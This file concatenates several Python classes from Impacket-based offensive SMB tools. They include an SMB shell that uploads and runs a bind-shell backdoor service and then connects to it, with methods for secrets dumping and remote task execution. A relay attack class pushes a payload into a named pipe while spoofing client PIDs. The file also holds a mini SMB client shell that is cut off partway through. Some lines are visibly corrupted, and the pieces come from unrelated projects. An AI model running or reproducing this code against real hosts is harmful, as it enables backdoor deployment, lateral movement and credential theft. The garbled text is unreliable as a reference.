class SMBShell(PsExec, Samr, SvcCtl): def __init__(self, target, credential, local_name): self.__dstip = target.get_host() self.__dstport = target.get_port() self.__user = credential.get_user() self.__password = credential.get_password() self.__lmhash = credential.get_lm_hash() self.__nthash = credential.get_nt_hash() self.__domain = credential.get_domain() self.__is_admin = credential.get_is_admin() self.__srcfile = local_name self.__destfile = '*SMBSERVER' if self.__dstport == 139 else self.__dstip self.__timeout = 5 * 60 self.smb = None self.tid = None self.pwd = '\\' self.share = '' self.shares_list = [] self.domains_dict = {} self.users_list = set() self.completion = [] self.smbserver_share = ''.join(random.choice(string.ascii_uppercase) for _ in range(8)) self.connect() logger.debug('Connection to host %s established' % target.get_identity()) self.login() logger.debug( 'Logged in as %s' % (self.__user if not self.__domain else '%s\%s' % (self.__domain, self.__user))) logger.info('Looking for a writable share, wait..') _ = self.get_writable_share() self.info(False) if _: DataStore.writable_share = _ else: logger.warn('Unable to find a writable share. Going to use %s, but some commands will not work' % DataStore.writable_share) if DataStore.version_major >= 6 or (DataStore.version_major == 5 and DataStore.version_minor == 1): DataStore.share_path = ntpath.join(DataStore.user_path, 'Windows', 'Temp') else: DataStore.share_path = ntpath.join(DataStore.user_path, 'WINNT', 'Temp') def connect(self): self.smb = SMBConnection(self.__destfile, self.__dstip, self.__srcfile, self.__dstport, self.__timeout) def login(self): try: self.smb.login(self.__user, self.__password, self.__domain, self.__lmhash, self.__nthash) except socket.error as e: logger.warn('Connection to host %s failed (%s)' % (self.__dstip, e)) raise RuntimeError except SessionError as e: logger.error('SMB error: %s' % (e.getErrorString(),)) raise RuntimeError def logoff(self): self.smb.logoff() def smb_transport(self, named_pipe): self.trans = transport.SMBTransport(remoteName=self.__dstip, dstport=self.__dstport, filename=named_pipe, smb_connection=self.smb, remote_host=self.__dstip) try: self.trans.connect() except socket.error as e: logger.warn('Connection to host %s failed (%s)' % (self.__dstip, e)) raise RuntimeError except SessionError as e: logger.warn('SMB error: %s' % e.getErrorString()) raise RuntimeError def info(self, display=True): self.smb_transport('srvsvc') self.__dce = self.trans.get_dce_rpc() self.__dce.bind(srvs.MSRPC_UUID_SRVS) try: self.__resp = srvs.hNetrServerGetInfo(self.__dce, 102) except rpcrt.DCERPCException as _: # traceback.print_exc() logger.warning('Unable to query server information') return None self.__dce.disconnect() DataStore.server_os = self.smb.getServerOS() DataStore.server_name = self.smb.getServerName() DataStore.server_domain = self.smb.getServerDomain() DataStore.server_host = self.smb.getRemoteHost() DataStore.user_path = self.__resp['InfoStruct']['ServerInfo102']['sv102_userpath'] DataStore.version_major = self.__resp['InfoStruct']['ServerInfo102']['sv102_version_major'] DataStore.version_minor = self.__resp['InfoStruct']['ServerInfo102']['sv102_version_minor'] if display: print('Operating system: %s' % self.smb.getServerOS()) print('Netbios name: %s' % self.smb.getServerName()) print('Domain: %s' % self.smb.getServerDomain()) print('SMB dialect: %s' % check_dialect(self.smb.getDialect())) print('NTLMv2 support: %s' % self.smb.doesSupportNTLMv2()) print('UserPath: %s' % DataStore.user_path) print('Simultaneous users: %d' % self.__resp['InfoStruct']['ServerInfo102']['sv102_users']) print('Version major: %d' % DataStore.version_major) print('Version minor: %d' % DataStore.version_minor) print('Comment: %s' % self.__resp['InfoStruct']['ServerInfo102']['sv102_comment'] or '') # TODO: uncomment when SMBConnection will have a wrapper # getServerTime() method for both SMBv1,2,3 # print 'Time: %s' % self.smb.get_server_time() return self.__resp def who(self): self.smb_transport('srvsvc') self.__dce = self.trans.get_dce_rpc() self.__dce.connect() self.__dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrSessionEnum(self.__dce, NULL, NULL, 502) for session in resp['InfoStruct']['SessionInfo']['Level502']['Buffer']: print("Host: %15s, user: %5s, active: %5d, idle: %5d, type: %5s, transport: %s" % (session['sesi502_cname'][:-1], session['sesi502_username'][:-1], session['sesi502_time'], session['sesi502_idle_time'], session['sesi502_cltype_name'][:-1], session['sesi502_transport'][:-1])) self.__dce.disconnect() def __share_info(self, share): self.smb_transport('srvsvc') self.__dce = self.trans.get_dce_rpc() self.__dce.connect() self.__dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrShareGetInfo(self.__dce, '%s\x00' % share, 2) self.__dce.disconnect() return resp def check_share(self, share=None): # logger.debug("Into check_share with share: %s, self.share is: %s and self.tid is: %s" # % (share, self.share, self.tid)) if share: self.use(share) elif not share and (self.share is None or self.tid is None): logger.warn('Share has not been specified, select one') self.shares() def is_writable_share(self, share): _ = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) try: self.use(share, False) self.mkdir(_) except: pass else: self.rmdir(_) return True return False def get_writable_share(self): # Check we can write a directory on the shares, return the first writable one for _ in self.smb.listShares(): share = _['shi1_netname'][:-1] try: share_info = self.__share_info(share) except rpcrt.DCERPCException as _: # traceback.print_exc() logger.warning('Unable to query share: %s' % share) continue path = share_info['InfoStruct']['ShareInfo2']['shi2_path'][:-1] if self.is_writable_share(share): logger.info('Share %s %sis writable' % (share, "(%s) " % path if path else "")) DataStore.share_path = path return share else: logger.debug('Share %s %sis not writable' % (share, "(%s) " % path if path else "")) return None def shares(self): shares = self.smb.listShares() count = 0 for i in range(len(shares)): count += 1 name = shares[i]['shi1_netname'][:-1] self.shares_list.append(name) comment = shares[i]['shi1_remark'][:-1] share_type = shares[i]['shi1_type'] _ = self.__share_info(name) max_uses = _['InfoStruct']['ShareInfo2']['shi2_max_uses'] # 4294967295L is unlimited current_uses = _['InfoStruct']['ShareInfo2']['shi2_current_uses'] permissions = _['InfoStruct']['ShareInfo2']['shi2_permissions'] # impacket always returns always 0 path = _['InfoStruct']['ShareInfo2']['shi2_path'] print('[%d] %s (comment: %s)' % (count, name, comment)) print('\tPath: %s' % path) print('\tUses: %d (max: %s)' % (current_uses, 'unlimited' if max_uses == 4294967295 else max_uses)) # print '\tType: %s' % share_type # print '\tPermissions: %d' % permissions msg = 'Which share do you want to connect to? (default: 1) ' limit = len(self.shares_list) choice = read_input(msg, limit) self.use(self.shares_list[choice - 1]) def use(self, share, display=True): if not share: raise missingShare('Share has not been specified') if self.tid: self.smb.disconnectTree(self.tid) try: self.share = share.strip('\x00') self.tid = self.smb.connectTree(self.share) self.pwd = '\\' self.ls('', False) except SessionError as e: if not display: pass elif e.getErrorCode() == nt_errors.STATUS_BAD_NETWORK_NAME: logger.warn('Invalid share name') elif e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied') else: logger.warn('Unable to connect to share: %s' % (e.getErrorString(),)) def cd(self, path): if not path: return self.check_share() path = ntpath.normpath(path) self.oldpwd = self.pwd if path == '.': return elif path == '..': sep = self.pwd.split('\\') self.pwd = '\\'.join('%s' % s for s in sep[:-1]) return if path[0] == '\\': self.pwd = path else: self.pwd = ntpath.join(self.pwd, path) # Let's try to open the directory to see if it's valid try: fid = self.smb.openFile(self.tid, self.pwd) self.smb.closeFile(self.tid, fid) logger.warn('File is not a directory') self.pwd = self.oldpwd except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_FILE_IS_A_DIRECTORY: return elif e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied') elif e.getErrorCode() == nt_errors.STATUS_OBJECT_NAME_NOT_FOUND: logger.warn('File not found') else: logger.warn('Unable to change directory: %s' % (e.getErrorString(),)) self.pwd = self.oldpwd def get_pwd(self): print(ntpath.join(self.share, self.pwd)) def ls(self, path, display=True): self.check_share() if not path: pwd = ntpath.join(self.pwd, '*') else: pwd = ntpath.join(self.pwd, path) self.completion = [] pwd = ntpath.normpath(pwd) try: files = self.smb.listPath(self.share, pwd) except SessionError as e: if not display: pass elif e.getErrorCode() in (nt_errors.STATUS_OBJECT_NAME_NOT_FOUND, nt_errors.STATUS_NO_SUCH_FILE): logger.warn('File not found') else: logger.warn('Unable to list files: %s' % (e.getErrorString(),)) return for f in files: if display is True: print('%s %8s %10d %s' % (time.ctime(float(f.get_mtime_epoch())), '<DIR>' if f.is_directory() > 0 else '', f.get_filesize(), f.get_longname())) self.completion.append((f.get_longname(), f.is_directory(), f.get_filesize())) def lstree(self, path): self.check_share() if not path: path = ntpath.basename(self.pwd) self.cd('..') for x in range(0, path.count('\\')): print('| ') print('%s' % os.path.basename(path.replace('\\', '/'))) self.ls('%s\\*' % path, display=False) for identified_file, is_directory, size in self.completion: if identified_file in ('.', '..'): continue if is_directory > 0: self.lstree(ntpath.join(path, identified_file)) else: for x in range(0, path.count('\\')): print('| ') print('|-- %s (%d bytes)' % (identified_file, size)) def cat(self, filename): self.check_share() filename = os.path.basename(filename) self.ls(filename, display=False) for identified_file, is_directory, size in self.completion: if is_directory > 0: continue filepath = ntpath.join(self.pwd, identified_file) logger.debug('Reading file %s (%d bytes)..' % (filepath, size)) try: self.fid = self.smb.openFile(self.tid, filepath) except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied to %s' % identified_file) elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION: logger.warn('Access denied to %s due to share access flags' % identified_file) else: logger.error('Unable to access file: %s' % (e.getErrorString(),)) continue offset = 0 while 1: try: data = self.smb.readFile(self.tid, self.fid, offset) data = data.decode("cp437") print(data) if len(data) == 0: break offset += len(data) except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_END_OF_FILE: break else: logger.error('Unable to read file content: %s' % (e.getErrorString(),)) self.smb.closeFile(self.tid, self.fid) def download(self, filename, path=None): self.check_share() basename = os.path.basename(filename) if path is None: path = '.' else: path = path.replace('\\', '/') self.ls(basename, display=False) for identified_file, is_directory, size in self.completion: if is_directory > 0: self.downloadtree(identified_file) self.cd('..') continue filepath = ntpath.join(self.pwd, identified_file) logger.debug('Downloading file %s (%d bytes)..' % (filepath, size)) try: fh = open(os.path.join(path, identified_file), 'wb') self.smb.getFile(self.share, filepath, fh.write) fh.close() except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied to %s' % identified_file) elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION: logger.warn('Access denied to %s due to share access flags' % identified_file) else: logger.error('Unable to download file: %s' % (e.getErrorString(),)) def downloadtree(self, path): self.check_share() if not path: path = ntpath.basename(self.pwd) self.cd('..') basename = ntpath.basename(path) normpath = path.replace('\\', '/') self.cd(basename) # Check if the provided path is not a directory (if so, then the # working directory has not changed if self.pwd == self.oldpwd: self.download(basename) return logger.debug('Recreating directory %s' % self.pwd) self.ls(None, display=False) if not os.path.exists(normpath): os.makedirs(normpath) for identified_file, is_directory, size in self.completion: if identified_file in ('.', '..'): continue if is_directory > 0: self.downloadtree(ntpath.join(path, identified_file)) self.cd('..') else: self.download(identified_file, normpath) def upload(self, pathname, destfile=None): self.check_share() if isinstance(pathname, string_types): files = glob.glob(pathname) else: files = [pathname] for filename in files: try: if isinstance(filename, string_types): fp = open(filename, 'rb') else: fp = filename except IOError: logger.error('Unable to open file %s' % filename) return False if not destfile or len(files) > 1: destfile = os.path.basename(filename) destfile = ntpath.join(self.pwd, destfile) if isinstance(filename, string_types): logger.debug('Uploading file %s to %s..' % (filename, destfile)) try: self.smb.putFile(self.share, destfile, fp.read) except SessionError as e: traceback.print_exc() if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied to upload %s' % destfile) elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION: logger.warn('Access denied to upload %s due to share access flags' % destfile) else: logger.error('Unable to upload file: %s' % (e.getErrorString(),)) fp.close() def rename(self, srcfile, destfile): self.check_share() srcfile = ntpath.join(self.pwd, ntpath.normpath(srcfile)) destfile = ntpath.join(self.pwd, ntpath.normpath(destfile)) self.smb.rename(self.share, srcfile, destfile) def mkdir(self, path): self.check_share() path = ntpath.join(self.pwd, ntpath.normpath(path)) self.smb.createDirectory(self.share, path) def rm(self, filename): self.check_share() filename = ntpath.join(self.pwd, ntpath.normpath(filename)) self.ls(filename, display=False) for identified_file, is_directory, size in self.completion: if is_directory > 0: continue filepath = ntpath.join(self.pwd, identified_file) logger.debug('Removing file %s (%d bytes)..' % (filepath, size)) try: self.smb.deleteFile(self.share, filepath) except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied to %s' % identified_file) elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION: logger.warn('Access denied to %s due to share access flags' % identified_file) else: logger.error('Unable to remove file: %s' % (e.getErrorString(),)) def rmdir(self, path): self.check_share() path = ntpath.join(self.pwd, ntpath.normpath(path)) self.ls(path, display=False) for identified_file, is_directory, _ in self.completion: if is_directory <= 0: continue filepath = ntpath.join(self.pwd, identified_file) logger.debug('Removing directory %s..' % filepath) try: self.smb.deleteDirectory(self.share, filepath) except SessionError as e: if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED: logger.warn('Access denied to %s' % identified_file) elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION: logger.warn('Access denied to %s due to share access flags' % identified_file) else: logger.error('Unable to remove directory: %s' % (e.getErrorString(),)) def bindshell(self, port): connected = False srvname = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) local_file = os.path.join(keimpx_path, 'contrib', 'srv_bindshell.exe') remote_file = '%s.exe' % ''.join([random.choice(string.ascii_lowercase) for _ in range(8)]) if not os.path.exists(local_file): raise missingFile('srv_bindshell.exe not found in the contrib subfolder') logger.info('Launching interactive OS shell') logger.debug('Going to use temporary service %s' % srvname) if not port: port = 4445 elif not isinstance(port, int): port = int(port) self.deploy(srvname, local_file, port, remote_file) logger.info('Connecting to backdoor on port %d, wait..' % port) for counter in range(0, 3): try: time.sleep(1) if str(sys.version.split()[0]) >= '2.6': tn = Telnet(self.__dstip, port, 3) else: tn = Telnet(self.__dstip, port) connected = True tn.interact() except (socket.error, socket.herror, socket.gaierror, socket.timeout) as e: if connected is False: warn_msg = 'Connection to backdoor on port %d failed (%s)' % (port, e) if counter < 2: warn_msg += ', retrying..' logger.warn(warn_msg) else: logger.error(warn_msg) except SessionError as e: # traceback.print_exc() logger.error('SMB error: %s' % (e.getErrorString(),)) except KeyboardInterrupt as _: print() logger.info('User aborted') except Exception as e: # traceback.print_exc() logger.error(str(e)) if connected is True: tn.close() sys.stdout.flush() break time.sleep(1) self.undeploy(srvname) def getSecretsDumper(self, history): dumper = DumpSecrets(remoteName=self.__destfile, remoteHost=self.__dstip, username=self.__user, password=self.__password, domain=self.__domain, lmhash=self.__lmhash, nthash=self.__nthash, history=history, ds=DataStore) return dumper def getAtExec(self, command): if DataStore.version_major > 6: atexec = TSCH_EXEC(self.__destfile if self.__destfile is not None else self.__dstip, username=self.__user, password=self.__password, domain=self.__domain, lmhash=self.__lmhash, nthash=self.__nthash, command=command) return atexec else: logger.warn("This command only works on Windows Vista or newer.") return None def getRpcDump(self): dumper = RPCDump(self.__destfile if self.__destfile is not None else self.__dstip, remoteHost=self.__dstip, username=self.__user, password=self.__password, domain=self.__domain, lmhash=self.__lmhash, nthash=self.__nthash) return dumper
class ImpacketConnection: class Options: def __init__(self, hostname="", domain_name="", username="", password="", lmhash="", nthash="", kerberos=False, aesKey="", dc_ip=None, timeout=5): self.hostname = hostname self.domain_name = domain_name self.username = username self.password = password self.lmhash = lmhash self.nthash = nthash self.timeout = timeout self.kerberos = kerberos self.aesKey = aesKey self.dc_ip = dc_ip def __init__(self, options: Options): self.options = options self.hostname = options.hostname self.domain_name = options.domain_name self.username = options.username self.password = options.password self.lmhash = options.lmhash self.nthash = options.nthash self.kerberos = options.kerberos self.aesKey = options.aesKey self.dc_ip = options.dc_ip self.timeout = options.timeout self._log = Logger(self.hostname) self._conn = None def get_logger(self): return self._log def set_logger(self, logger): self._log = logger def login(self): try: ip = list({ addr[-1][0] for addr in getaddrinfo(self.hostname, 0, 0, 0, 0) })[0] if ip != self.hostname: self._log.debug("Host {} resolved to {}".format( self.hostname, ip)) except gaierror as e: return RetCode(ERROR_DNS_ERROR, e) try: self._conn = SMBConnection(self.hostname, ip, timeout=self.timeout) except Exception as e: return RetCode(ERROR_CONNECTION_ERROR, e) username = '' if not self.kerberos: username = self.username.split("@")[0] self._log.debug("Authenticating against {}".format(ip)) else: self._log.debug("Authenticating against {}".format(self.hostname)) try: if not self.kerberos: self._conn.login(username, self.password, domain=self.domain_name, lmhash=self.lmhash, nthash=self.nthash, ntlmFallback=True) else: self._conn.kerberosLogin(username, self.password, domain=self.domain_name, lmhash=self.lmhash, nthash=self.nthash, aesKey=self.aesKey, kdcHost=self.dc_ip) except SessionError as e: self._log.debug("Provided credentials : {}\\{}:{}".format( self.domain_name, username, self.password)) return RetCode(ERROR_LOGIN_FAILURE, e) except KerberosException as e: self._log.debug("Kerberos error") return RetCode(ERROR_LOGIN_FAILURE, e) except Exception as e: return RetCode(ERROR_UNDEFINED, e) return RetCode(ERROR_SUCCESS) def connectTree(self, share_name): return self._conn.connectTree(share_name) def openFile(self, tid, fpath, timeout: int = 3): self._log.debug("Opening file {}".format(fpath)) start = time.time() while True: try: fid = self._conn.openFile(tid, fpath, desiredAccess=FILE_READ_DATA) self._log.debug("File {} opened".format(fpath)) return fid except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0 or str(e).find( 'STATUS_OBJECT_NAME_NOT_FOUND') >= 0: # Output not finished, let's wait if time.time() - start > timeout: raise (Exception(e)) time.sleep(1) else: raise Exception(e) def queryInfo(self, tid, fid): while True: try: info = self._conn.queryInfo(tid, fid) return info except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: # Output not finished, let's wait time.sleep(2) else: raise Exception(e) def getFile(self, share_name, path_name, callback): while True: try: self._conn.getFile(share_name, path_name, callback) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: # Output not finished, let's wait time.sleep(2) else: raise Exception(e) def deleteFile(self, share_name, path_name): while True: try: self._conn.deleteFile(share_name, path_name) self._log.debug("File {} deleted".format(path_name)) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: time.sleep(2) else: raise Exception(e) def putFile(self, share_name, path_name, callback): try: self._conn.putFile(share_name, path_name, callback) self._log.debug("File {} uploaded".format(path_name)) except Exception as e: raise Exception( "An error occured while uploading %s on %s share : %s" % (path_name, share_name, e)) def readFile(self, tid, fid, offset, size): return self._conn.readFile(tid, fid, offset, size, singleCall=False) def closeFile(self, tid, fid): return self._conn.closeFile(tid, fid) def disconnectTree(self, tid): return self._conn.disconnectTree(tid) def isadmin(self): try: self.connectTree("C$") return RetCode(ERROR_SUCCESS) except Exception as e: return RetCode(ERROR_ACCESS_DENIED, e) def close(self): if self._conn is not None: self._log.debug("Closing Impacket connection") self._conn.close() def clean(self): try: self.close() return RetCode(ERROR_SUCCESS) except Exception as e: return RetCode(ERROR_CONNECTION_CLEANING, e)
class NPAttack(ProtocolAttack): """ This is the SMB default attack class. It will either dump the hashes from the remote target, or open an interactive shell if the -i option is specified. """ PLUGIN_NAMES = ["NP"] def __init__(self, config, SMBClient, username): ProtocolAttack.__init__(self, config, SMBClient, username) self.pid = int(config.pipe_client_pid) self.pipe_name = config.pipe_name self.payload = config.payload_path if not config.command: self.command = 'c:\\windows\\system32\\cmd.exe' else: self.command = config.command self.sendSMB_Original = self.client._SMBConnection.sendSMB self.client._SMBConnection.sendSMB = types.MethodType( self.sendSMB, self.client._SMBConnection) if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): self.__SMBConnection = SMBConnection(existingConnection=SMBClient) else: self.__SMBConnection = SMBClient def openPipe(self, tid, pipe, accessMask): pipeReady = False tries = 50 while pipeReady is False and tries > 0: try: self.__SMBConnection.waitNamedPipe(tid, pipe) pipeReady = True except Exception as e: print(str(e)) tries -= 1 time.sleep(2) pass if tries == 0: raise Exception('Pipe not ready, aborting') fid = self.__SMBConnection.openFile(tid, pipe, accessMask, creationOption=0x40, fileAttributes=0x80) return fid def isPipeAvailable(self, tid): try: fid = self.openPipe(tid, '\\' + self.pipe_name, 0x12019f) self.__SMBConnection.closeFile(tid, fid) return True except: return False def sendPayload(self, tid): result = True fid = self.openPipe(tid, '\\' + self.pipe_name, 0x12019f) payload_file = open(self.payload, mode='rb') payload = payload_file.read() response = None try: self.__SMBConnection.writeNamedPipe(tid, fid, payload, True) response = self.__SMBConnection.readNamedPipe(tid, fid) except Exception as e: response = e result = False finally: self.__SMBConnection.closeFile(tid, fid) return result def getData(self, original): original['Pid'] = self.pid return original.orignalGetData() def sendSMB(self, original, packet): # Some ugly hacks here, essentially we are hooking # some original SMB1/2 function from impacket so we # can intercept the calls and patch the PID at the correct point if packet['Command'] is SMB2_CREATE: #SMB2/3 # If the command type is create for opening files/named pipes # then replace the Reserved (PID) field with our spoofed PID packet["Reserved"] = self.pid elif packet['Command'] is SMB.SMB_COM_NT_CREATE_ANDX: #SMB1 # Additional level of hooks here since SMB1 packets are # handled differently, and in fact the impacket does use # the real process PID of the client, so we need to override # that behavior packet.orignalGetData = packet.getData packet.getData = types.MethodType(self.getData, packet) # Send our packet using original sendSMB function self.sendSMB_Original(packet) def run(self): tid = self.__SMBConnection.connectTree('IPC$') if not self.isPipeAvailable(tid): LOG.warn("Pipe not found or accessible on host %s" % (self.__SMBConnection.getRemoteHost())) return if self.pid is 0: LOG.info( "Pipe found and writable on %s, starting attack through PID cycling!" % (self.__SMBConnection.getRemoteHost())) self.pid = 4 while self.pid < 50000 and self.sendPayload(tid) is False: self.pid += 4 LOG.info("Finished PID cycling on host %s", self.__SMBConnection.getRemoteHost()) else: LOG.info( "Pipe found and writable on %s, sending payload using PID %d!" % (self.__SMBConnection.getRemoteHost(), self.pid)) self.sendPayload(tid) self.__SMBConnection.close()
class MiniImpacketShell(cmd.Cmd): def __init__(self, smbClient, tcpShell=None): #If the tcpShell parameter is passed (used in ntlmrelayx), # all input and output is redirected to a tcp socket # instead of to stdin / stdout if tcpShell is not None: cmd.Cmd.__init__(self, stdin=tcpShell.stdin, stdout=tcpShell.stdout) sys.stdout = tcpShell.stdout sys.stdin = tcpShell.stdin sys.stderr = tcpShell.stdout self.use_rawinput = False self.shell = tcpShell else: cmd.Cmd.__init__(self) self.shell = None self.prompt = '# ' self.smb = smbClient self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = smbClient.getCredentials() self.tid = None self.intro = 'Type help for list of commands' self.pwd = '' self.share = None self.loggedIn = True self.last_output = None self.completion = [] def emptyline(self): pass def precmd(self, line): # switch to unicode return line def onecmd(self,s): retVal = False try: retVal = cmd.Cmd.onecmd(self,s) except Exception as e: LOG.error(e) LOG.debug('Exception info', exc_info=True) return retVal def do_exit(self,line): if self.shell is not None: self.shell.close() return True def do_shell(self, line): output = os.popen(line).read() print(output) self.last_output = output def do_help(self,line): print(""" open {host,port=445} - opens a SMB connection against the target host/port login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes logoff - logs off shares - list available shares use {sharename} - connect to an specific share cd {path} - changes the current directory to {path} lcd {path} - changes the current local directory to {path} pwd - shows current remote directory password - changes the user password, the new password will be prompted for input ls {wildcard} - lists all the files in the current directory rm {file} - removes the selected file mkdir {dirname} - creates the directory under the current path rmdir {dirname} - removes the directory under the current path put {filename} - uploads the filename into the current path get {filename} - downloads the filename from the current path mget {mask} - downloads all files from the current directory matching the provided mask cat {filename} - reads the filename from the current path mount {target,path} - creates a mount point from {path} to {target} (admin required) umount {path} - removes the mount point at {path} without deleting the directory (admin required) list_snapshots {path} - lists the vss snapshots for the specified path info - returns NetrServerInfo main results who - returns the sessions currently connected at the target host (admin required) close - closes the current SMB Session exit - terminates the server process (and this session) """) def do_password(self, line): if self.loggedIn is False: LOG.error("Not logged in") return from getpass import getpass newPassword = getpass("New Password:"******"SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: LOG.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: LOG.info("SMBv2.1 dialect used") else: LOG.info("SMBv3.0 dialect used") self.share = None self.tid = None self.pwd = '' self.loggedIn = False self.password = None self.lmhash = None self.nthash = None self.username = None def do_login(self,line): if self.smb is None: LOG.error("No connection open") return l = line.split(' ') username = '' password = '' domain = '' if len(l) > 0: username = l[0] if len(l) > 1: password = l[1] if username.find('/') > 0: domain, username = username.split('/') if password == '' and username != '': from getpass import getpass password = getpass("Password:"******"GUEST Session Granted") else: LOG.info("USER Session Granted") self.loggedIn = True def do_kerberos_login(self,line): if self.smb is None: LOG.error("No connection open") return l = line.split(' ') username = '' password = '' domain = '' if len(l) > 0: username = l[0] if len(l) > 1: password = l[1] if username.find('/') > 0: domain, username = username.split('/') if domain == '': LOG.error("Domain must be specified for Kerberos login") return if password == '' and username != '': from getpass import getpass password = getpass("Password:"******"GUEST Session Granted") else: LOG.info("USER Session Granted") self.loggedIn = True def do_login_hash(self,line): if self.smb is None: LOG.error("No connection open") return l = line.split(' ') domain = '' if len(l) > 0: username = l[0] if len(l) > 1: hashes = l[1] else: LOG.error("Hashes needed. Format is lmhash:nthash") return if username.find('/') > 0: domain, username = username.split('/') lmhash, nthash = hashes.split(':') self.smb.login(username, '', domain,lmhash=lmhash, nthash=nthash) self.username = username self.lmhash = lmhash self.nthash = nthash if self.smb.isGuestSession() > 0: LOG.info("GUEST Session Granted") else: LOG.info("USER Session Granted") self.loggedIn = True def do_logoff(self, line): if self.smb is None: LOG.error("No connection open") return self.smb.logoff() del self.smb self.share = None self.smb = None self.tid = None self.pwd = '' self.loggedIn = False self.password = None self.lmhash = None self.nthash = None self.username = None def do_info(self, line): if self.loggedIn is False: LOG.error("Not logged in") return rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrServerGetInfo(dce, 102) print("Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major']) print("Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor']) print("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name']) print("Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment']) print("Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath']) print("Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users']) def do_who(self, line): if self.loggedIn is False: LOG.error("Not logged in") return rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10) for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']: print("host: %15s, user: %5s, active: %5d, idle: %5d" % ( session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'], session['sesi10_idle_time'])) def do_shares(self, line): if self.loggedIn is False: LOG.error("Not logged in") return resp = self.smb.listShares() for i in range(len(resp)): print(resp[i]['shi1_netname'][:-1]) def do_use(self,line): if self.loggedIn is False: LOG.error("Not logged in") return self.share = line self.tid = self.smb.connectTree(line) self.pwd = '\\' self.do_ls('', False) def complete_cd(self, text, line, begidx, endidx): return self.complete_get(text, line, begidx, endidx, include = 2) def do_cd(self, line): if self.tid is None: LOG.error("No share selected") return p = line.replace('/','\\') oldpwd = self.pwd if p[0] == '\\': self.pwd = line else: self.pwd = ntpath.join(self.pwd, line) self.pwd = ntpath.normpath(self.pwd) # Let's try to open the directory to see if it's valid try: fid = self.smb.openFile(self.tid, self.pwd, creationOption = FILE_DIRECTORY_FILE, desiredAccess = FILE_READ_DATA | FILE_LIST_DIRECTORY, shareMode = FILE_SHARE_READ | FILE_SHARE_WRITE ) self.smb.closeFile(self.tid,fid) except SessionError: self.pwd = oldpwd raise def do_lcd(self, s): print(s) if s == '': print(os.getcwd()) else: os.chdir(s) def do_pwd(self,line): if self.loggedIn is False: LOG.error("Not logged in") return print(self.pwd) def do_ls(self, wildcard, display = True): if self.loggedIn is False: LOG.error("Not logged in") return if self.tid is None: LOG.error("No share selected") return if wildcard == '': pwd = ntpath.join(self.pwd,'*') else: pwd = ntpath.join(self.pwd, wildcard) self.completion = [] pwd = pwd.replace('/','\\') pwd = ntpath.normpath(pwd) for f in self.smb.listPath(self.share, pwd): if display is True: print("%crw-rw-rw- %10d %s %s" % ( 'd' if f.is_directory() > 0 else '-', f.get_filesize(), time.ctime(float(f.get_mtime_epoch())), f.get_longname())) self.completion.append((f.get_longname(), f.is_directory())) def do_rm(self, filename): if self.tid is None: LOG.error("No share selected") return f = ntpath.join(self.pwd, filename) file = f.replace('/','\\') self.smb.deleteFile(self.share, file) def do_mkdir(self, path): if self.tid is None: LOG.error("No share selected") return p = ntpath.join(self.pwd, path) pathname = p.replace('/','\\') self.smb.createDirectory(self.share,pathname) def do_rmdir(self, path): if self.tid is None: LOG.error("No share selected") return p = ntpath.join(self.pwd, path) pathname = p.replace('/','\\') self.smb.deleteDirectory(self.share, pathname) def do_put(self, pathname): if self.tid is None: LOG.error("No share selected") return src_path = pathname dst_name = os.path.basename(src_path) fh = open(pathname, 'rb') f = ntpath.join(self.pwd,dst_name) finalpath = f.replace('/','\\') self.smb.putFile(self.share, finalpath, fh.read) fh.close() def complete_get(self, text, line, begidx, endidx, include = 1): # include means # 1 just files # 2 just directories p = line.replace('/','\\') if p.find('\\') < 0: items = [] if include == 1: mask = 0 else: mask = 0x010 for i in self.completion: if 